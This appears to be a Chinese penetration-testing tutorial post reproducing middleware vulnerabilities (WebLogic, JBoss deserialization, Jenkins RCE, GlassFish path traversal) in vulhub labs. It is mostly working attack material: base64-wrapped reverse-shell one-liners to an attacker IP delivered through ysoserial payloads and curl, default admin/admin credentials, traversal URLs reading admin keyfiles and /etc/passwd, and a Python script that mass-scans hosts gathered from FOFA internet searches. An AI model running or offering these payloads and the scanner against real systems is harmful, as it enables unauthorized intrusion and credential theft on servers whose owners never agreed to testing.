第60天:服务攻防-中间件安全&CVE复现&Weblogic&Jenkins&GlassFish
jboss通常占用的端口为1098,1099,4444,4445,8080,8009,8063,8093。fofa搜索:"glassfish" && port="4848" && protocol="http"序列化的操作,运行java脚本,echo 后面是反弹shell的base64编码,生成可以利用的poc。fofa搜索: "JBoss" && title=="Welcome to JBoss
目录
思维导图
案例一:中间件-Weblogic-工具探测
weblogic端口:7001
工具地址: GitHub - ghealer/GUI_Tools: 一个由各种图形化渗透工具组成的工具集
靶场环境
启动利用
输入探测是否有漏洞
有漏洞直接可以命令执行,shell上传
下图所示的都可以用工具一键探测
案例二: 中间件-JBoos-工具脚本直接利用
jboss通常占用的端口为1098,1099,4444,4445,8080,8009,8063,8093
弱口令
fofa搜索: "JBoss" && title=="Welcome to JBoss™"
点击welcome to console
账号密码都是admin,admin
可以尝试进入
反序列化命令执行漏洞
CVE-2017-12149
靶场位置: https://vulhub.org/#/environments/jboss/CVE-2017-12149/
启动docker环境
首先先把反弹shell的语句进行base64位编码
bash -i >& /dev/tcp/192.168.172.132/5566 0>&1
序列化的操作,运行java脚本,echo 后面是反弹shell的base64编码,生成可以利用的poc
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser
利用poc进行curl请求/invoker/readonly该地址为进行反序列化的地址,同时kali开启监听
curl http://192.168.172.169:8080/invoker/readonly --data-binary @poc.ser
运行
CVE-2017-7504
靶场环境:https://vulhub.org/#/environments/jboss/CVE-2017-7504/
与CVE-2017-12149命令都一样只是,反序列化请求的地址不同,可以利用同一个poc
该漏洞请求的地址为 /jbossmq-httpil/HTTPServerILServlet,访问该页面存在证明有漏洞
案例三:中间件-Jenkins-工具脚本利用
远程代码执行漏洞
脚本利用地址:GitHub - vulhub/CVE-2017-1000353: jenkins CVE-2017-1000353 POC
该脚本必须使用java"1.8.0_291"才可以正常使用
首先先执行在/tmp下创建一个success文件
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
然后用python脚本执行该poc
python exploit.py http://192.168.172.169:8080 jenkins_poc.ser
进入docker中查看
这里尝试直接利用下面的语句getshell失败,个人猜测,可能是命令太长,各种符号转义了
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "bash -i >& /dev/tcp/192.168.172.132/5566 0>&1"
使用如下命令
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"
这段命令是一个 Bash 命令,它执行以下步骤:
echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx:
echo
:将字符串打印到标准输出。- 字符串:"bash -i > /dev/tcp/192.168.172.132/5566 0>&1",这是一个 Base64 编码的字符串。
base64,-d:
base64,-d
:对上一步中的字符串进行 Base64 解码。bash,-i:
bash,-i
:使用-i
选项启动一个交互式 Bash shell。因此,整个命令的功能是:
- 解码 Base64 编码的字符串,得到一个 Bash 命令:
bash -i > /dev/tcp/192.168.172.132/5566 0>&1
。- 执行这个 Bash 命令,该命令将打开一个到远程主机的反向 shell 连接(使用 TCP 端口 5566),并使 shell 的输入和输出重定向到该连接。
运行结果
远程命令执行漏洞
靶场环境: https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc
脚本地址:https://github.com/smokeintheshell/CVE-2018-1000861
首先利用该脚本可以直接执行系统命令
直接利用反弹shell的语句,还是失败,猜测转义导致
bash -i >& /dev/tcp/192.168.172.169/5566 0>&1
利用刚才的语句
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}"
成功
案例四:中间件-GlassFish-工具脚本利用
靶场位置
利用语句
读取网站账号密码:/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile
读取linux passwd:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
读取windows_ini: /theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
访问靶场主页面,需要账号密码
直接查看账号密码
查看/etc/passwd
下面是一个python开发的自动化检测是否有直接读取密码,读取linux passwd,Windows ini的脚本
import requests,time
def read_pass(url):
urls = 'http://'+url+'/theme/META-INF/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afdomains/domain1/config/admin-keyfile'
try:
result = requests.get(urls,verify=False).text
#print(result)
if 'asadmin' in result:
print('read_pass:'+ url + '-->ok')
else:
print(url + '-->false')
except Exception as e:
time.sleep(0.1)
def read_windows(url):
urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'
try:
result = requests.get(urls,verify=False).status_code
if result == 200:
print('read_windows:'+ url + '-->ok')
else:
print(url + '-->false')
except Exception as e:
time.sleep(0.1)
def read_linux(url):
urls = 'http://'+url+'/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
try:
result = requests.get(urls,verify=False).status_code
if result == 200:
print('read_linux:'+ url + '-->ok')
else:
print(url + '-->false')
except Exception as e:
time.sleep(0.1)
if __name__ == '__main__':
for url in open("ips.txt"):
read_pass(url)
read_windows(url)
read_linux(url)
fofa搜索:"glassfish" && port="4848" && protocol="http"
利用fofaviewer保存ip到ips.txt利用
运行结果如图,不方便展示。
更多推荐
所有评论(0)